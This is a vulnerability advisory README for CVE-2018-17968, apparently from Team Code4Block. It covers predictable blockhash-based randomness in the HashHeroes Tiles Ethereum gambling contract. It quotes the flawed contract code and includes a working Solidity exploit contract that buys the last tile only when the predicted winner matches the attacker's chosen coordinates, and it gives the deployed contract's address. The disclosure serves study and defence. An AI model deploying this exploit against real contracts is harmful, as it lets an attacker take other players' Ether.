Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
images
README.md

README.md

CVE-2018-17968

Vendor

hashheroes

Vulnerability Type

Bad Randomness

Abstract

The determineWinner function of a smart contract implementation for HashHeroes Tiles, an Ethereum game, uses a certain blockhash value in an attempt to generate a random number for the case where NUM_TILES equals the number of people who purchased a tile, which allows an attacker to control the awarding of the prize by being the last person to purchase a tile.

Details

Figure 1. HashHeroes Dapp Website

It is a gambling game. Invoke the determineWinner function when the value of the NUM_TILES variable is the same as the number of people who purchased the tile. The number of people who purchased the tile and the value of NUM_TILES are known. Therefore, the last person to buy the tile is known. The determineWinner function generates an unsafe random value. The last person to buy a tile can decide who will receive the prize.

    function claimTile(uint xCoord, uint yCoord, uint gameNumber) gameRunning payable {
        if (gameNumber != currentGameNumber || tiles[xCoord][yCoord].gameClaimed == currentGameNumber) {
            revert();
        }
        require(msg.value == currentGameCost);

        currentGameBalance += msg.value;
        tiles[xCoord][yCoord] = Tile(currentGameNumber, msg.sender);
        TileClaimed(currentGameNumber, xCoord, yCoord, msg.sender);
        numTilesClaimed += 1;
        if (numTilesClaimed == NUM_TILES) {
            determineWinner();
        }
    }
    function determineWinner() private {
        bytes32 winningHash = block.blockhash(block.number - 1);
        byte winningPair = winningHash[31];
        uint256 winningX = getRightCoordinate(winningPair);
        uint256 winningY = getLeftCoordinate(winningPair);
        address winner = tiles[winningX][winningY].claimedBy;
        PrintWinningInfo(winningHash, winningX, winningY);
        GameWon(currentGameNumber, winner);
        resetGame(winner);
    }

winningHash is predictable random number.

Exploit

In the exploit function (constructor), x and y are input to the recipient. The attack function compares the value of numTiesClaimed with 255. This is because the winner is picked right after that. Therefore, we can get the winner's x and y, and proceed with the transaction if they are equal to x, y defined in the constructor.

contract exploit{
    
    Tiles target;
    uint public number_x;
    uint public number_y;
    uint public xCoord;
    uint public yCoord;

    function getRightCoordinate(byte input) returns(uint) {
        byte val = input & byte(15);
        return uint(val);
    }

    function getLeftCoordinate(byte input) returns(uint) {
        byte val = input >> 4;
        return uint(val);
    }    
    function exploit(address _target, uint x, uint y) {
        target = Tiles(_target);
        number_x = x;
        number_y = y;
    }

    function attack() {
        if(target.numTilesClaimed() == 255) {
            bytes32 winningHash = block.blockhash(block.number-1);
            byte winningPair = winningHash[31];
            if(number_x == getRightCoordinate(winningPair) && number_y == getLeftCoordinate(winningPair)) {
                target.claimTile.value(target.currentGameCost())(xCoord,yCoord,target.currentGameNumber());
            }
        }
    }

}

Conclusion

The attacker can always win the game and get Ether. It is hard to make secure random number in solidity. Check out other "Bad Randomness" CVE in our https://github.com/TEAM-C4B/CVE-LIST.

Reference

Official Website http://www.hashheroes.com/

Dappradar https://www.stateofthedapps.com/dapps/hash-heroes

Explorer https://etherscan.io/address/0x103992432927f7ed1a5b3dc0e34186f80b16d93c

Code https://etherscan.io/address/0x103992432927f7ed1a5b3dc0e34186f80b16d93c#code

Discoverer

Team Code4Block